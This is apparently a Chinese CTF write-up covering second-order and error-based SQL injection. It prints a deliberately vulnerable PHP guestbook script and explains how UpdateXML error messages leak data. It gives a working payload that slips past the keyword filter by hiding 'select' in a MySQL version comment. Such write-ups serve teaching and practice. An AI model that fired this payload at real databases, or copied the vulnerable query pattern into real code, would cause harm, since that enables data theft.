从二次注入，到报错注入注入，再到正则表达式绕过

<?php
include 'db.inc.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}

function filter($str){
    $rstr = "";
    for($i=0;$i<strlen($str);$i++){
        if(ord($str[$i])>31 && ord($str[$i])<127){
            $rstr = $rstr.$str[$i];
        }
    }
    $rstr = str_replace('\'','',$rstr);
    return $rstr;
}


if(!empty($message)){
    if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
        die("hello,sangebaimao!");
    }
    if(filter($message) !== $message){
        die("hello,sangebaimao!");
    }

    $sql="insert guestbook(`message`) value('$message');";
    mysql_query($sql);
    $sql = "select * from guestbook order by id limit 0,5;";
    $result = mysql_query($sql);
    if($result){
        while($row = mysql_fetch_array($result)){
            $id = $row['id'];
            $message = $row['message'];
            echo "|$id|=>|$message|<br/>";
        }
    }

    $message = stripcslashes($message);
    $sql = "delete from guestbook where id=$id or message ='$message';";
    if(!mysql_query($sql)){
        print(mysql_error());
        $sql = "delete from guestbook where id=$id";
        mysql_query($sql);
    };
}
?>

UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数，作用是xml替换，把xml_target中被xpath_expr匹配到的部分使用new_xml替换

这个报错注入的原理是利用updatexml的参数错误，首先不能有语法错误，要不然注入的语句根本无法执行，语法正确后，先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中，而updatexml第二个参数为xml的匹配表达式，单引号为非法字符，因此报错，输出错误内容'5.5.42-log, 因此得到了你想要得到的数据

?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23